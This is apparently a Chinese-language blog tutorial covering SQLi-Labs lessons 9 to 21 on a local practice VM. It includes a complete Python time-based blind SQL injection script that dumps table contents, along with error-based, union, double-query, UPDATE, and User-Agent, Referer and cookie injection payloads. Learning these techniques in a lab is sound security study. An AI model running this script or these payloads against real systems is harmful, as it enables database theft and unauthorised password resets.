Freebuf上有两篇SQLi Labs的教程 安全科普:SQLi Labs 指南 Part 1 和 安全科普:SQLi Labs 指南 Part 2 。这两篇教程只讲到了第八课。我最近也在学习SQLi Labs,接合youtube上作者的视频教程和网上的一些资料,自己做了后面的一些课程,想发出来和大家一起学习交流。
作者应该是在出了视频教程之后又对课程进行了一些修改但是没有再传新的视频,所以现在从github上下载到的最新版的课程和视频教程有一些不一样的地方。希望大家一定看完前面的教程再看这一篇教程,后面的课程都是在前面的课程基础之上变化而来,前面提到过的后面就不再讲了。本人也是刚刚接触SQL注入,才疏学浅,文中若有错误疏漏之处,恳请不吝赐教。
我自己写的前八课的教程:(参考了youtube的视频和别人写的解答)
sqli-labs学习教程(一)
sqli-labs学习教程(二)
sqli-labs学习教程(三)
搭建环境:xp sp3虚拟机+xampp
使用工具:firefox浏览器+hackbar插件+tamper data插件+Cookie Editor插件
第九课:GET – Blind – Time based – Single Quotes(基于时间-单引号-盲注)
这一课我们发现,加不加单引号页面返回的信息都是一样的。
看一下代码。果然,不论输入是什么,返回的结果都是一样的。这里就要使用基于时间的盲注方法了。
在mysql中if(condition,A,B)表示当condition为true时,返回;当condition为false时,返回B。因此我们可以构造下面的查询。如果数据库名的第一个字母ascii值大于120,则立即返回结果;否则10秒之后才返回结果。
我们当然可以这样手工猜解数据库名,表名,列名……也可以自己编写脚本来完成。 通过sqli-labs学习sql注入——基础挑战之less1-10 这篇博客中给出了第八课的python脚本,我稍稍修改了一下来完成第九课。
#-*-coding:utf-8-*- """ @version: @author: giantbranch @file: blindsqlinjection.py @time: 2016/5/1 """ import time import urllib import urllib2 index = "0" getTable = "users" url = "http://192.168.153.129/sqli-labs/Less-9/?id=1" database = "database()" selectDB = "(select database())" selectTable = "(select table_name from information_schema.tables where table_schema='%s' limit %d,1)" asciiPayload = "' and if(ascii(substr(%s,%d,1))>=%d,0,sleep(0.1)) #" lengthPayload = "' and if(length(%s)>=%d,0,sleep(0.1)) #" selectTableCountPayload = "' and if((select count(table_name) from information_schema.tables where table_schema='%s')>=%d,0,sleep(0.1)) #" selectTableNameLengthPayloadfront = "'and if((select length(table_name) from information_schema.tables where table_schema='%s' limit " selectTableNameLengthPayloadbehind = ",1)>=%d,0,sleep(0.1)) #" #发送请求,根据页面的返回时间的判断长度的猜测结果 #string:猜测的字符串;payload:使用的payload;length:猜测的长度 def getLengthResult(payload, string, length): print payload % (string, length) finalUrl = url + urllib.quote(payload % (string, length)) s1=time.time() res = urllib2.urlopen(finalUrl) s2=time.time() if s2-s1 < 0.08: return True else: return False #发送请求,根据页面的返回时间的判断字符的猜测结果 #payload:使用的payload;string:猜测的字符串;pos:猜测字符串的位置;ascii:猜测的ascii def getResult(payload, string, pos, ascii): finalUrl = url + urllib.quote(payload % (string, pos, ascii)) s1 = time.time() res = urllib2.urlopen(finalUrl) s2 = time.time() if s2 - s1 < 0.08: return True else: return False #注入 def inject(): #猜数据库长度 lengthOfDBName = getLengthOfString(lengthPayload, database) print "length of DBname: " + str(lengthOfDBName) #猜数据库名称 DBname = getName(asciiPayload, selectDB, lengthOfDBName) print "current database:" + DBname #猜数据库中的表的个数 tableCount = getLengthOfString(selectTableCountPayload, DBname) print "count of table:" + str(tableCount) for i in xrange(0, tableCount): num = str(i) #猜当前表的长度 selectTableNameLengthPayload = selectTableNameLengthPayloadfront + num + selectTableNameLengthPayloadbehind tableNameLength = getLengthOfString(selectTableNameLengthPayload, DBname) print "current table length:" + str(tableNameLength) #猜当前表的名字 selectTableName = selectTable % (DBname, i) tableName = getName(asciiPayload, selectTableName, tableNameLength) print tableName #猜指定表的列的数量 selectColumnCountPayload ="' and if((select count(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s')>=%d,0,sleep(0.1)) #" columnCount = getLengthOfString(selectColumnCountPayload, getTable) print "table:" + getTable + " --count of column:" + str(columnCount) #猜该表有多少行数据 dataCountPayload = "' and if((select count(*) from %s)>=%d,0,sleep(0.1)) #" dataCount = getLengthOfString(dataCountPayload, getTable) print "table:" + getTable + " --count of data: " + str(dataCount) data = [] #获取指定表中的列 for i in xrange(0, columnCount): #猜该列名字长度 selectColumnNameLengthPayload = "' and if((select length(column_name) from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit " + str(i) + ",1)>=%d,0,sleep(0.1)) #" columnNameLength = getLengthOfString(selectColumnNameLengthPayload, getTable) print "current column length:" + str(columnNameLength) #猜该列的名字 selectColumn = "(select column_name from information_schema.columns where table_schema='" + DBname + "' and table_name='%s' limit %d,1)" selectColumnName = selectColumn % (getTable, i) columnName = getName(asciiPayload, selectColumnName, columnNameLength) print columnName tmpData = [] tmpData.append(columnName) #获取该表的数据 for j in xrange(0, dataCount): columnDataLengthPayload = "' and if((select length(" + columnName + ") from %s limit " + str(j) + ",1)>=%d,0,sleep(0.1)) #" columnDataLength = getLengthOfString(columnDataLengthPayload, getTable) selectData = "(select " + columnName + " from users limit " + str(j) + ",1)" columnData = getName(asciiPayload, selectData, columnDataLength) tmpData.append(columnData) data.append(tmpData) #格式化输出数据 tmp = "" for i in xrange(0, len(data)): tmp += data[i][0] + " " print tmp for j in xrange(1, dataCount + 1): tmp = "" for i in xrange(0, len(data)): tmp += data[i][j] + " " print tmp #猜长度 def getLengthOfString(payload, string): lengthLeft = 0 lengthRigth = 0 guess = 10 #确定长度上限,每次增加5 while 1: if getLengthResult(payload, string, guess) == True: guess = guess + 5 else: lengthRigth = guess break; #二分法查长度 mid = (lengthLeft + lengthRigth) / 2 while lengthLeft < lengthRigth - 1: if getLengthResult(payload, string, mid) == True: lengthLeft = mid else: lengthRigth = mid mid = (lengthLeft + lengthRigth) / 2 return lengthLeft #猜名字 def getName(payload, string, lengthOfString): #空格(32)是第一个可显示的字符delete(127)是最后一个可显示的字符 tmp = '' for i in xrange(1, lengthOfString + 1): left = 32 right = 127 mid = (left + right) / 2 while left < right - 1: if getResult(payload, string, i, mid) == True: left = mid mid = (left + right) / 2 else: right = mid mid = (left + right) / 2 tmp += chr(left) return tmp def main(): inject() main()
效果是这样的。
代码水平不高,让大家见笑了。因为是安装的虚拟机,基本不存在延时的问题,所以查询语句中写的是sleep(0.1)。如果写成sleep(x)那么判断条件最好比x小一点,比如我这里是sleep(0.1)但是只要时间差0.08秒以上就认为sleep(0.1)执行了。因为运行环境什么的都不一样,可能sql语句里面写的sleep(0.1)结果时间差算出来是零点零九几秒。
第十课:GET – Blind – Time based – double quotes(基于时间-双引号-盲注)
这里把单引号改成双引号就可以,脚本同样改改就行。
第十一课:POST – Error Based – Single quotes – String(基于错误-单引号-字符串)
输一个单引号,错误信息如图所示。
那么我们可以得出SQL语句应该是select * from where username=” and password=” LIMIT 0,1。注入1′ or 1=1 #试试。
果然以用户名Dumb,密码Dumb成功登录了。接下来猜字段。注入1′ order by 3#试试。
注入1′ order by 2#。这次没有报错,说明有两列,也就是说SQL语句是select col1,col2 from where username=” and password=” LIMIT 0,1。
查询数据库名和版本,注入1′ union select database(),version() #试试。
爆表名,注入1′ union select 1,table_name from information_schema.tables where table_schema=’security’ limit 0,1#试试。
拿到了第一个表名。后面就和前几课一样了,再次希望大家从第一课开始做起,可以参考我在文章开头给出的链接、freebuf上以前的教程和youtube上的视频资料等等。
第十二课:POST – Error Based – Double quotes – String – with twist(基于错误-双引号-字符串-括号)
输一个单引号,没有任何返回结果。
输入一个双引号,错误信息如图所示。
那么我们可以得出SQL语句应该是select * from where username=(“”) and password=(“”) LIMIT 0,1。注入1″) or 1=1 #试试。
果然以用户名Dumb,密码Dumb成功登录了。接下来猜字段什么的和前面一样,就不再重复了。
第十三课:POST – Double Injection – Single quotes – String – with twist(双注入-单引号-字符串-括号)
输一个单引号,错误信息如图所示。
那么我们可以得出SQL语句应该是select * from where username=(”) and password=(”) LIMIT 0,1。注入1′) or 1=1 #试试。
为什么没有结果呢,因为这里和第五课一样,登录成功以后不返回用户名和密码。那么我们这里用的办法和第五课一样了,注入1′) and (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a) #试试。
返回的错误信息是Operand should contain 1 column(s),也就是说只能返回一列。注入1′) and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)) #试试。
返回的错误信息是Every derived table must have its own alias,也就是说每个派生出来的表都必须有一个自己的别名。注入1′) and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b) #试试。可能要多试几次,因为rand不设置种子的话产生的序列是随机的。
后面和第五课一样,就不再重复了。
第十四课:POST – Double Injection – Single quotes – String – with twist(双注入-单引号-字符串-括号)
这一课和上一课名字一样,但是看了代码发现其实这一课是双引号,没有括号。
注入1″ and (select 1 from(select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.columns group by a)b) #试试。可能要多试几次,因为rand不设置种子的话产生的序列是随机的。
第十五课:POST – Blind – Boolian/time Based – Single quotes(盲注-基于布尔结果/基于时间延迟-单引号)
输一个单引号,显示登录失败。
输入1′ or 1=1 #,显示登录成功。
那么我们先猜数据库名的长度。输入1′ or length(database())=x#,(x=1,2,3……)显示登录失败;直到输入1′ or length(database())=8#才显示登录成功。那么这里数据库名的长度就是8了。后面就是一个一个猜解数据库名,表的数量,表名,列的数量,列名……。
第十六课:POST – Blind – Boolian/time Based – Double quotes(盲注-基于布尔结果/基于时间延迟-双引号)
输一个双引号,显示登录失败。
输入1″) or 1=1 #,显示登录成功。
那么我们先猜数据库名的长度。输入1″) or length(database())=x#,(x=1,2,3……)显示登录失败;直到输入1″) or length(database())=8#才显示登录成功。那么这里数据库名的长度就是8了。后面就是一个一个猜解数据库名,表的数量,表名,列的数量,列名……。
第十七课:POST – Update Query – Error Based – String(更新查询-基于错误-字符串)
先在User Name中输入admin,New Password中随便输1234,页面显示成功更改了密码。那么这里执行的sql语句应该是update users set password=xxx where username=xxx。
如果我们按照下图所示输入,执行的sql语句应该是update users set password= ‘ ‘,所有用户的密码都被我们重置。大家别忘了试验结束以后在主页Setup/reset Database for labs,把密码什么的改回来。
现在New Password中输入a’ or 1=updatexml(1,concat(0x5e24,(select database())),1) #,User Name中输入admin,因为代码中name参数进行了过滤,所以必须要先有一个有效的用户名。
这里再总结一下基于错误的mysql注入中常用的函数。
extractvalue(xml_frag,xpath_expr)
extractvalue()接受两个字符串参数,一个xml标记xml_frag的片段和一个xpath表达式xpath_expr(也称为定位符)。这个函数返回第一个文本节点的文本。在mysql 5.6.6及更早版本中,xpath表达式最多可以包含127个字符。这个限制在mysql 5.6.7中解除。我们可以在xpath中填写获得我们想要的信息的语句。
updatexml(xml_target,xpath_expr,new_xml)
此函数用新的xml片段new_xml替换xml标记xml_target的给定片段的单个部分,然后返回更改的xml。被替换的xml_target的部分与用户提供的xpath表达式xpath_expr匹配。在 mysql 5.6.6及更早版本中,xpath表达式最多可以包含127个字符。这个限制在mysql 5.6.7中解除。如果没有找到匹配xpath_expr的表达式,或者找到多个匹配项,函数将返回原始的xml_target片段。 所有三个参数应该是字符串。我们可以在xpath中填写获得我们想要的信息的语句。
name_const(name,value)
用于生成结果时,name_const()会使列具有给定的名称。参数应该是常量。它和select value as name是等价的。我们可以构造两个列使得它们名字一样并在列名中填写获得我们想要的信息的语句。
当然用前面双注入的方法也是可以的。New Password中输入’ and (select 1 from (select count(*),(concat(“~”,(select database()),”~”,floor(rand()*2)))c from information_schema.tables group by c)a) #,User Name中输入admin,也能达到同样的效果。
到这儿基本上就和前面第五课差不多了,后面就不再讲了。还想啰嗦一句,乌云上有一篇mysql报错注入原理分析(count()、rand()、group by),虽然现在乌云上不了但是这篇文章在网上也搜得到,把原理讲得很清楚。
第十八课:POST – Header Injection – Uagent field – Error based(头部注入-Uagent字段-基于错误)
大家应该也都感觉到了,只要前面的几课都弄懂了,这几课基本上都没什么难度。这一课开始又有一些新的知识了。我们先看看代码,这里对name和password都进行了过滤。
然后如果登录成功了会显示User Agent的信息。
登录一下,用户名和密码都用admin。果然返回了我们的user agent信息。
这个时候就要上tamper data插件了。安装好这个插件之后在firefox浏览器最上方右键勾选菜单栏。
在工具中选择Tamper Data。
点击Start Tamper。
然后输入用户名admin和密码admin,点击submit之后弹出来一个对话框。点击Tamper。
我们可以对这张表里的选项进行编辑。比如这里我把User-Agent改成了helloworld。
点击确定,再看浏览器,果然我们修改成功了。
前面代码我们也看到这个信息被插到uagents表里面了。那我在User-Agent里面来一个反斜杠。
刷新一下。
现在正式开始注入。把User-Agent改成’,updatexml(0,concat(0x2b5e,database()),0),’,')#。
这样一来执行的sql语句应该是INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (”,updatexml(0,concat(0x2b5e,database()),0),’,')#’, ’192.168.153.1′, ‘admin’),#后面被注释掉了,所以也就是INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (”,updatexml(0,concat(0x2b5e,database()),0),’,')#。
执行结果如图所示,果然我们成功得到了数据库名,后面的步骤就不再讲了。
第十九课:POST – Header Injection – Referer field – Error based(头部注入-Referer字段-基于错误)
登录一下,用户名和密码都用admin。果然返回了我们的Referer信息。
接下来步骤和上节课差不多,直接上图吧。
第二十课:POST – Cookie injections – Uagent field –error based(cookie注入-Uagent字段-基于错误)
登录一下,用户名和密码都用admin。果然返回了我们的Cookie信息。
这个时候就要上Cookie Editor插件了。选择好需要修改的cookie以后点editor。
来一个单引号。
再刷新一下页面,果然报错了。
再来一个’ order by 3#。
刷新页面。
再来一个’ order by 4#。
刷新页面,那这下我们确定了有3列。接下来就和以前一样。
第二十一课:POST – Dump into file – String(转储到文件-字符串)
登录一下,用户名和密码都用admin。果然返回了我们的Cookie信息。和上一节课有什么不同呢?我们的cookie被base64编码了。
随便找个在线编码/解码的网站验证一下。
那这个就很简单,我们编码一下就行。
搞定。
到此为止Basic Challenges就全部完成了。接下来将会继续学习作者的视频教程,带来Advanced Injections的内容。